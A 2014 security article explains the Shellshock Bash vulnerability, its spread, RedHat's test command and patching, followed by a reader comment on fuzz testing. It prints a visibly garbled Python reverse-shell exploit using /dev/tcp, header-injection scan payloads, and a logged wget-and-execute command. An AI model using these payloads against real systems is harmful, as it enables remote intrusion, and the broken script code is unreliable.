Exploiting and verifying shellshock: CVE-2014-6271

September 27, 2014 by Pierluigi Paganini

The Bash Bug vulnerability (CVE-2014-6271)

A new critical vulnerability, remotely exploitable, dubbed “Bash Bug”, is threatening billions of machines all over the world.

The vulnerability was discovered by the security researcher Stephane Chazelas at Akamai firm. It affects Linux and Unix command-line shell, aka the GNU Bourne Again Shell, and for this reason it is potentially exposing websites, servers, PCs, OS X Macs, various home routers, and many other devices to risk of cyber attacks.

The team Bash stands for the GNU Bourne Again Shell and refers to a Unix shell, which is an interpreter that allows users to send commands on Unix and Linux systems, typically by connecting over SSH or Telnet.

The Bash can also operate as a parser for CGI scripts on a Web server. Stephane explained that the vulnerability has existed for several decades and it is related to the way Bash handles specially-formatted environment variables, namely exported shell functions.

A shell gives both administrators and attackers high privileged access to operating system features, allowing them to run almost any command.

“The potential is enormous – ‘getting shell’ on a box has always been a major win for an attacker because of the control it offers them over the target environment,” said software architect and Microsoft MVP Troy Hunt.

An attacker could dump all data stored on a server, change its settings, or serve malicious code to infect the machine.

“There are many, many examples of exploits out there already that could easily be fired off against a large volume of machines.”

The National Institute of Standards and Technology has assigned the vulnerability the designation CVE-2014-6271, rating the severity of the remotely exploitable vulnerability as a “10” on its 10-point scale.

The critical Bash Bug vulnerability, also dubbed Shellshock, affects versions GNU Bash versions ranging from 1.14 through 4.3. A threat actor could exploit it to execute shell commands remotely on a targeted machine using specifically crafted variables.

To run an arbitrary code on a system running software which embeds a Bash, it is necessary to assign a function to a variable. Trailing code in the function definition will be executed.

Figure 1 – Shellshock command diagram (Symantec)

“GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution,” states the description for the Bush Bug flaw on the NIST National Vulnerability Database, which rated its severity as 10 out of 10.

Every machine having Bash configured as the default system shell could be easily hacked every time an application invokes the Bash shell command (e.g. Mail server) via HTTP or a Common-Gateway Interface (CGI).

The attacker could run arbitrary code on the server just by sending a specially crafted malicious web request by setting headers in a web request, or by setting weird mime types. Searching on the Internet, it is possible to find the source code for cgi-bin reverse shell reported below:

#Bash Bug
#CVE-2014-6271 bincgi- reverse shell
import ,,httpliburllibsys
if (len(sys.argv)<4):
print “Usage: %s <host> <vulnerable CGI> <attackhost/IP>” % sys.argv[0]
print “Example: %s localhost /cgi-bin/test.cgi″ % sys.argv[0]

conn = httplib.(sys.[HTTPConnectionargv1])
reverse_shell=”() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1” % sys.argv[3]
headers = {“Content-type”: “application/x-www-form-urlencoded”,
“test”:reverse_shell }
res = conn.getresponse()
print res.status, res.reason
data =
print data

Similar attacks are possible via OpenSSH. “We have also verified that this vulnerability is exposed in ssh—but only to authenticated sessions. Web applications like cgi-scripts may be vulnerable based on a number of factors; including calling other applications through a shell, or evaluating sections of code through a shell,” Stephane warned. But if an attacker does not have an SSH account, this exploit would not work.

As reported in the advisory published by the NIST, the critical instances where the Bash Bug may be exposed include:

  • Apache HTTP Server using mod_cgi or mod_cgid scripts either written in bash, or spawn subshells.
  • Override or Bypass ForceCommand feature in OpenSSH sshd and limited protection for some Git and Subversion deployments used to restrict shells and allow arbitrary command execution capabilities.
  • Allow arbitrary commands to run on a DHCP client machine, various Daemons and SUID/privileged programs.
  • Exploit servers and other Unix and Linux devices via Web requests, secure shell, Telnet sessions, or other programs that use Bash to execute scripts.

Billions of servers affected by the Bash Bug flaw

The impact of the Bash Bug vulnerability is widely extended. Bash is commonly used to execute commands on a server, especially those sent by other programs and applications. Security experts are considering the severity of this vulnerability higher than the one assigned to the Heartbleed bug, and the most concerning issue is the low level of complexity needed to run an attack which exploits it.

“The first reason is that the bug interacts with other software in unexpected ways. We know that interacting with the shell is dangerous, but we write code that does it anyway. An enormous percentage of software interacts with the shell in some fashion. Thus, we’ll never be able to catalogue all the software out there that is vulnerable to the bash bug,” states Robert Graham on his Blog Errata Security.

“They go on to rate it a “10 out of 10″ for severity or in other words, as bad as it gets. This is compounded by the fact that it’s easy to execute the attack (access complexity is low) and perhaps most significantly, there is no authentication required when exploiting Bash via CGI scripts. The summary above is a little convoluted though so let’s boil it down to the mechanics of the bug,” added the security expert Troy Hunt.

The Bug Bash flaw is particularly dangerous for Internet-of-Things devices like smart meters, routers, web cameras and any other device that runs software, which allows bash scripts. Typically, such software is not easy to fix and are more likely to expose the critical flaw in the Internet.

As said by Graham, “Unlike Heartbleed, which only affected a specific version of OpenSSL, this bash bug has been around for a long, long time. That means there are lots of old devices on the network vulnerable to this bug. The number of systems needing to be patched, but which won’t be, is much larger than Heartbleed.”

According the results of a recent survey conducted by the Internet services company Netcraft, the number and types of Web servers being used worldwide is more than 1 billion servers, and that more than half of those are Apache servers which run Linux and thus contain Bash by default.

Figure 2 – Market share of active sites (Netcraft Survey 2014)

The list of potential targets is very long and includes home routers, medical equipment, SCADA/ICS devices and many other systems. For this reason, the Bash Bug is considered by security experts more dangerous than the Heartbleed flaw which affected only versions of OpenSSL released over a two-year period. According to the experts, the Bash bug has is a 25 five year old flaw, and also recent versions of Linux machines are potentially as exploitable as outdated servers.

The real problem resides in the low complexity of a Bash Bug based attack, for threat actors it is quite easy to run them against vulnerable servers.

Threat actors are exploiting the Bash Bug vulnerability in the wild

According to security experts, the Bash Bug vulnerability may already have been exploited in the wild by threat actors to hit Web servers.

Attackers are already targeting the Bash vulnerability, less than 24 hours after the public disclosure of details about the flaw vulnerability. To date, an unknown number of devices may contain the flaw, including millions of stand-alone Web servers, Unix and Mac OS X systems, and numerous other Internet-connected devices.

Malware researchers speculated that the critical flaw may be exploited by attackers which manage botnets to exploit a large number of machines exposed on the Internet.

Figure 3 – Mikko Hypponen on the Bash Bug

Security experts and hackers are already running, for different purposes, a massive Internet scan to discover vulnerable servers in the wild and compromise them. In a blog post published on the Errata Security blog, the expert Robert Graham revealed to have conducted a similar experiment discovering more than 3,000 servers affected by the Bash Bug before his scan broke after a short period.

The configuration file formasscan used by the expert looks something like:

target =
port = 80
banners = true
http-user-agent = shellshock-scan (
http-header[Cookie] = () { :; }; ping -c 3
http-header[Host] = () { :; }; ping -c 3
http-header[Referer] = () { :; }; ping -c 3

Robert Graham sent the requests to a range of vulnerable IP addresses, requesting to the targeted machined to ping the IP address This means that the security expert, simply by issuing a carefully crafted request over the web, requested the execution of the PING command.

Figure 4 – Robert Robert Test Results

Unfortunately, the number of vulnerable machines is greater than 3000, as revealed by Graham, who searched for affected servers only querying the port 80 used for normal Web Hypertext Transfer Protocol (HTTP) requests.

“It’s things like CGI scripts that are vulnerable, deep within a website (like CPanel’s /cgi-sys/defaultwebpage.cgi),” Graham wrote. “Getting just the root page is the thing least likely to be vulnerable. Spidering the site and testing well-known CGI scripts (like the CPanel one) would give a lot more results—at least 10x.”

According to the results of different research conducted by experts at Ars using Google advanced search parameters, the number of web pages potentially exploitable for the presence of the Bash Bug vulnerability is over two billion.

Graham has confirmed that “this thing is clearly wormable and can easily worm past firewalls and infect lots of systems. One key question is whether Mac OS X and iPhone DHCP service is vulnerable—once the worm gets behind a firewall and runs a hostile DHCP server, that would be ‘game over’ for large networks.”

Resuming, we have a critical flaw that affects an impressive number of devices worldwide, and in many cases these systems are not easily to patch. Let’s consider for example Internet-of-Things components which run software with Bash embedded.

It’s very likely that the vulnerability has already been exploited in the wild. A system administrator using the @yinettesys Twitter account published a GitHub gist post reported on a case in which threat actors exploited the Bash Bug flaw to launch a kernel exploit on a machine coordinating the attack with a C&C server hidden behind the Cloudflare content delivery network.

“I am not feeling well, but this is important. It’s the first 0day bash injected ELF malware spotted in ITW attack of CVE-2014-6271. This sample was found via @Yinettesys’s (credit) IDS sigs:
The sample is up and alive, my analysis I posted in VT (see the comment tab): … 411634118/ Announced was 6h ago here: … 6268604416
And detection ratio is still ZERO.. “

The malicious campaign uses a Web GET request from a user agent called “.Thanks-Rob”


The attack appears to be a brute force based on a dictionary of credentials guesses. The malicious code served in the attack is a file named nginx, which is still undetected by all the antivirus software at the time I’m writing.

The exploit targets the server’s “/tmp” directory in a subdirectory called “besh.”

The experts noticed that the malware contact the CnC server sending the text “PING” and received in return the response “PONG.”

“Oddly, according to one Hacker News poster who ran the binary of the malware on a virtual machine, the malware also sends a request to a Pastebin page (now removed) that was associated with an alleged leak of nude photos of actress Emma Watson,” reports a blog post on the Bash Bug published by Ars Technica.

This week, AusCERT and MalwareMustDie reported that the Bash Bug is being exploited in the wild.

Geoff Walton, Senior Security Consultant at TrustedSec, described in a blog post a Proof-of-Concept code for using Bash Bug to target DNS.

In the below image is the tool designed for the test, just setting the string value for 114 to: () { ignored;}; echo ‘foo’

Figure 5 – POC tool

In the POC, simply replacing the portion of the string “echo ‘foo'” with the command we want the client to execute, it is possible to exploit the flaw.

How to verify if a system is compromised

Administrators could easily evaluate if a Linux or Unix system is vulnerable by running a diagnostic test proposed by RedHat.

$ env x='() { :;}; echo vulnerable’ bash -c “echo this is a test”

If the output of the above command looks as follows:

vulnerable this is a test

You are using a vulnerable version of Bash. The patch used to fix this issue ensures that no code is allowed after the end of a Bash function. Thus, if you run the above example with the patched version of Bash, you should get an output similar to:

$ env x='() { :;}; echo vulnerable’ bash -c “echo this is a test” bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x’ this is a test

If your system is vulnerable, to fix the issue update to the most recent version of the Bash package by running the following command:

# yum update bash

Figure 6 – Bash Bug system check

To mitigate the Bash Bug, it is recommended to disable any CGI scripts that call on the shell and as soon as possible upgrade your bash software package. Principal Linux distribution vendors have released the new Bash software versions:

  • Red Hat Enterprise Linux (versions 4 through 7) and the Fedora distribution
  • CentOS (versions 5 through 7)
  • Ubuntu 10.04 LTS, 12.04 LTS, and 14.04 LTS
  • Debian

Security advisories issued for the newly discovered flaw, which include the above patch information, are available at the following URLs.

Are Microsoft machines exposed to the Bash Bag?

Bash is not present natively on Windows machines. This means that they are not exposed to the vulnerability, however there are several Bash implementations on the market (e.g. Win-bash) and they have to be audited to evaluate the level of exposure.

According to Microsoft MVP expert Troy Hunt, there could be “non-Microsoft components sitting in front of their Microsoft application stack, components that the traffic needs to pass through before it hits the web servers. These are also components that may have elevated privileges behind the firewall.”

In this moment, it is not clear what the impact of the Bash Bug, aka Shellshock, will be on those architectures.

Is it possible to detect if someone has exploited the flaw in an attack against a system?

As explained by an interesting Q&A post published by experts at Securelist, it is suggested to review HTTP logs and check if there is anything suspicious.

An example of a malicious pattern could be: – – [25/Sep/2014:14:00:00 +0000] “GET / HTTP/1.0” 400 349 “() { :; }; wget -O /tmp/besh; chmod 777 /tmp/besh; /tmp/besh;”


Posted: September 27, 2014
Pierluigi Paganini
View Profile

Pierluigi is member of the ENISA (European Union Agency for Network and Information Security) Threat Landscape Stakeholder Group, member of Cyber G7 Workgroup of the Italian Ministry of Foreign Affairs and International Cooperation, Professor and Director of the Master in Cyber Security at the Link Campus University. He is also a Security Evangelist, Security Analyst and Freelance Writer. Editor-in-Chief at "Cyber Defense Magazine", Pierluigi is a cyber security expert with over 20 years experience in the field, he is Certified Ethical Hacker at EC Council in London. The passion for writing and a strong belief that security is founded on sharing and awareness led Pierluigi to find the security blog "Security Affairs" recently named a Top National Security Resource for US. Pierluigi is a member of the "The Hacker News" team and he is a writer for some major publications in the field such as Cyber War Zone, ICTTF, Infosec Island, Infosec Institute, The Hacker News Magazine and for many other Security magazines.

3 responses to “Exploiting and verifying shellshock: CVE-2014-6271”

  1. Sreekaram Sreekar says:

    Explanation is given in detail. Thanks for your time and help us in understanding.

  2. Pierluigi says:

    Thanks for reading it. It’s a pleasure for me!

  3. Rick Karcich says:

    Re: testing for Shellshock… would like your feedback… specifically, regarding defining a testing strategy to find this Bash vulnerability…

    Given the knowledge about Shellshock that’s been developed, viz., and

    I want to define more of the attack surface for Shellshock – and put this into an input model for combinatorial testing… describes creation of a ‘fuzzer’ for CVE-2014-6277 / -6278.

    Point 1: It’s not clear that Shellshock would have been appropriate for automated testing. It was code that did what was intended: the problem is that it was invoked in (remotely-triggered) contexts that were unintended.

    The triggering condition was the appropriately-formatted environment variable. The issue that made it dangerous was that there were circumstances under which remote users could specify values that were turned into environment variables by applications that ended up invoking bash. In a local environment, it was a non-issue: a clever way to execute commands bash would have let you execute in a more straightforward way.

    If the attack surface is the shell parser, then one could just run

    bash -nc ‘randomly-generated-string’

    Point 2: Apparently, a number of bash vulnerabilities, including variants of Shellshock have been found via the AFL fuzzer . It would be possible to measure the combinatorial coverage achieved by these fuzz tests.

    To measure the combination coverage, we just need test values in a matrix or spreadsheet format, where each row is a test and each column represents a parameter.

    Additional instructions regarding AFL are at:

    Problem Statement:
    – Continue running the AFL fuzzer on latest patched versions and measure combinatorial coverage achieved…
    – Change the fuzzer to increase coverage based on combinatorial coverage measurements…
    – Employ combinatorial testing for testing the triggering mechanisms surrounding ‘Shellshock’…
    – Learn more about Shellshock and put together an input model like that described in the attached(test-parm-partition~)…


    Discussion of the problem:
    Explore finding these vulnerabilities through fuzz testing and hypothesize how they’ve escaped detection via testing…

    The Heartbleed and Shellshock vulnerabilities are independent in nature and need to be considered separately.

    For Heartbleed, there’s network input controlling the size of a memcpy, resulting in a memory leak. This was exacerbated by the reuse of pre-allocated buffers, meaning the attacker would always have a valid chunk of memory to read. The reason Heartbleed was not found by fuzzing is because the heartbeat extension option of the SSL spec is rarely implemented in protocol fuzzers or even in legitimate clients or servers very often and there was no possibility for an exception to indicate something was wrong due to the memory reuse. The reason Heartbleed was not found by static analysis is because the taint analysis was too conservative. Coverity has since added coverage for static analysis by including an additional taint source for data that passes through a ntohs() type function that implicitly indicates the data comes from the network. In the case of OpenSSL, they had their own macro re-implementing the byte-swap. This is documented here: In short, Heartbleed wasn’t found through static analysis engines without adding specific logic for the taint source. It would not be discoverable through generational fuzzing because it is a logic bug and does not generate an exception. You would need static analysis such as described in the Coverity blog or dynamic taint analysis in addition to a concolic ( fuzzing engine such as KLEE or SAGE ( and a defined taint check that validates the packet data being sent back to the client. This currently does not exist although would be an interesting exercise with KLEE ( or SpecExplorer.

    For Shellshock, there’s network input being passed to a child process via the environment, and resulting in arbitrary command execution through a ‘by design’ feature of Bash. There should be a known security boundary here because historically environment variable and argument parsing is shown to be an attack vector for locally exploiting setuid programs. Further it is the case that any network program that executes a child process with attacker influenced arguments or environment is part of the attack surface. In practice, it is difficult to automate this without whole-system taint analysis (ala Bitblaze or PANDA) since it involves a pivot from network->server->bash and would have an extremely high false positive rate. It would also require specific asserts on the code logic that executes bash script functions. So, unfortunately, this is a logic flaw that also could not be found through generational fuzzing. I would be very interested to see if KLEE ( or SpecExplorer can handle this situation.

    In this case for Shellshock, from , it is also useful to look at the final patch that came out which eliminated the external function execution ability of Bash. By seeing the code they patched, it gives us a clue as to characteristics of the code we should be checking and if we can generalize those characteristics then we can search other software as a starting point.

    Shellshock may be an interesting case for combinatorial testing for a couple of reasons…

    Point 1: Shellshock is yet another case of failed bounds checking: the Bash developer failed to ensure that evaluation would stop after the closing “}” in an environment variable containing a function definition.

    But it’s even simpler than the usual buffer overflow, because you don’t have to work at formatting the bytes correctly to get them executed on the stack; you just insert a command and Bash does the rest. So it’s not a problem of developers being too lazy to manage memory properly, it’s a design problem of developers being too casual about evaluating things. It looks like any code that does any kind of evaluation should be tested on the input “exec /bin/crash_the_system”, which could be entertaining.

    In terms of inputs, there can exist well-formed and mal-formed examples of strings, numbers, filenames, arithmetic expressions, IP addresses, function definitions, assignment statements, etc. In the case of Shellshock there exist multiple vectors for the Shellshock vulnerability.
    This set grows over time as application-specific issues are surfaces, e.g., a shell might have a problem with a fileneame beginning with “-” or “–“, since that syntax is reserved for an option name, so “-badfilename” is added to the class.

    Testing a two-argument procedure then consists of giving it the cartesian product of this input class. Actually, it’s worse than that: a procedure that expects inputs of the form “ENV=” needs to be fed inputs containing every possible input on the right-hand side of the statement. For example “ENV=() { exec /bin/crash_the_system }”.

    In the known Shellshock vectors such as HTTP CGI, dhclient, etc. the only requirement is that attacker-controlled data is copied from a protocol packet into the execution environment prior to executing bash through an API that would preserve the environment.

    Point 2: The problem with Shellshock is that it depends both on the input provided and the environment it’s executed in. Apart from stock installs, there’s no way of knowing what the latter might be, and hence no way to combinatorially test that there isn’t some input for that environment that would fail.

    The combinatorial method needs to be extended vertically as well: what is the context of the input processing … a shell, … a device manager?

    More generally, is the input taken as data? Is it evaluated before it is used? Is it passed un-touched to a spawned process?

    Perhaps the problem is that,
    – While checking for the conditions that trigger ‘Shellshock’ doesn’t look hard, it’s validating all possible configurations in their class that would be prohibitively expensive…
    – While it’s possible to fuzz(ily) test Bash, the problem is, first, you have to find a way to generate strings that maximize the chance of being a genuine command or a command that triggers the Shellshock vulnerability. This is time-consuming and expensive…
    – Second, once you generate a command, how will your fuzzy test program know if it found the vulnerability? It’s easy when Bash segfaults, but in the case of Shellshock, it wasn’t a crash. It was rather that Bash was executing code where it shouldn’t. Not even humans were able to tell that for more than 20 years.
    – It’s hard to tell whether Bash reporting a syntax error is a true syntax error, or a genuine vulnerability. The odds are considerably in favor of the former, which make it hard to weed out the false positives.
    – Michal Zalewski found the related CVE-2014-6278 Michal’s fuzzer(AFL) found bugs that had been in Bash for years and were never reported. This is a testament to the value of the approach. It just takes a lot of work to wade through the results.
    – Propose investigating combinatorial coverage achieved by running Zalewski’s AFL and exploring the space of triggering mechanisms and based on the coverage measurements choosing the most effective set of test variables…
    – Explore how KLEE, SAGE, SpecExplorer could play a role in eliminating vulnerabilities like Shellshock…
    – Specifically explore testing with virtual test parameters like the testing that might be done for a “find” function with two arguments, string and file name.
    – It’s not clear that Shellshock would have been appropriate for automated testing. Bash was executing code that did what was intended: the problem is that it was invoked in (remotely-triggered) contexts that were unintended. Neither Heartbleed or Shellshock are appropriate for traditional generational fuzz testing, both would require taint analysis and a dataflow rule for the triggering condition(s).
    – For Shellshock, the triggering condition was the appropriately-formatted environment variable. The issue that made Shellshock dangerous was that there were circumstances under which remote users could specify values that were turned into environment variables by applications that ended up invoking Bash. In a local environment, it was a non-issue: a clever way to execute commands Bash would have let you execute in a more straightforward way.

    For such a “find” function we might define the following set of test parameters and values in an input table/model:
    String length: {0, 1, 1..file_length, >file_length}
    Quotes: {yes, no, improperly formatted quotes}
    Blanks: {0, 1, >1}
    Embedded quotes: {0, 1, 1 escaped, 1 not escaped}
    Filename: {valid, invalid}
    Strings in command line: {0, 1, >1}
    String presence in file: {0, 1, >1}
    Similarly, for Shellshock, perhaps the same approach could be used for testing shell commands, with test parameters that include things like environment variable, with values such as numeric, alpha, function etc … in an input table/model to capture triggering mechanism(s)?
    – ENV variable: {numeric, alpha, function}
    – As I understand it, for CGI scripts the ‘Shellshock’ issue occurs when the defined environment variable is a function AND the REMOTE_USER variable is set to an account that is present on the host…
    – It seems reasonable that testing could also include a test parameter such as “remote-user-present” with values “yes” and “no”. An input model that included these two test parameters, plus the various configuration options, could presumably find the problem. As always, it depends on the input model and test parameters defined, but these seem reasonable, and pretty basic for testing. The test parameters and input model might also be re-used in testing a variety of shell commands to possibly discover other vulnerabilities…
    – Shellshock is triggered by a specific 4 byte sequence at the beginning of the value of an environment variable…
    – in this case, that 4 byte sequence wouldn’t, by itself, do much … an attacker then needs to have syntactically valid bash input after it, and in most of those cases, nothing would happen…
    – an attacker would have needed to provide specific syntactically valid input that would cause undesired output … the most obvious type of which would have been a segfault…

    Testing Alternatives:
    Unfortunately network-based scanning for vulnerable ShellShock servers is nowhere as easy as identifying the Heartbleed servers since the triggering of execution of the bash shell is usually very specific to each application. Even to effectively scan HTTP servers, one needs to know the path to all of the CGI scripts that are dependent on bash and sometimes even the specific GET or POST parameters that need to be supplied to the script in order to trigger the vulnerability. We have preloaded the scanner with almost 400 common CGI paths that will be attemped during the full scan and have allowed the import of additional paths to test custom or less popular CGI applications.

    The scanner works by sending an HTTP GET request to each pre-configured CGI path of the scanned target with the following headers:

    Cookie: () { :; }; echo -e “rnrn”
    Referer: () { :; }; echo -e “rnrn”
    User-Agent: CrowdStrike ShellShock Scanner/1.0
    Test: () { :; }; echo -e “rnrn”

    When the CGI script launches Bash with the supplied environment parameters, it should trigger the execution of the echo command on a vulnerable system. With most scripts, the random string in the output of the echo command will be sent back in the body of the HTTP response, allowing the scanner to detect it and deem the system vulnerable. We deliberately picked the innocuous echo command as the one to execute by the scanner so as to minimize the chance of the scan doing anything harmful to the vulnerable target.
    Please note that even a full internal and external IP range scan of your network will not provide you with a complete assurance that you are not vulnerable to Shellshock. In addition to the limitations of scanning CGI applications, this scanner is not able to determine the vulnerability of SMTP servers or DHCP clients to the bug. Nor is it able to be used to test for privilege escalation vulnerabilities via SSH or on local Unix and OSX systems. It is still paramount that you apply patches across your entire population of systems that utilize bash shell as soon as possible.
    An indirect approach of analyzing program use of environment variables that could be leveraged across a security boundary is a possibility but I don’t have a high degree of confidence it would generate much other than a catalog of things to look at when analyzing other programs that execute child processes. For example if we found that ‘/bin/X’ could be crashed via environment input, then you might want a tool that scans source for any calls to X as a child process and a secondary tool that determines if external input can influence the environment at the time of the execution of X. Again, this is falling back to an implementation class bug that would throw an exception and be discoverable through traditional fuzzing. In the case of Bash even if we had a tool that did the above, we would not have found Shellshock because there is no defined exceptional condition (oracle problem).

    The main problem here is to identify the exceptional condition and formulate a model that is appropriate for dataflow analysis to detect the condition. Then depending on the constraints and the specific target, a static or dynamic approach may be taken to analyze for that condition. I think of this problem similar to how I’d approach trying to find SQL injection, which has been covered fairly well in .NET due to its inherent ability to provide dataflow analysis and reflection. This is the layer of abstraction you want to be looking at for problems like this as opposed to generational input fuzzing.

    In the case of Shellshock, IF sending untrusted input to the Bash parser were a goal, then extensive testing of that parser would be critical…

    The real solution, in my opinion, however is not to send untrusted input to the parser… this feature needs to be disabled by default… that solves 90% of the problem…

Leave a Reply

Your email address will not be published.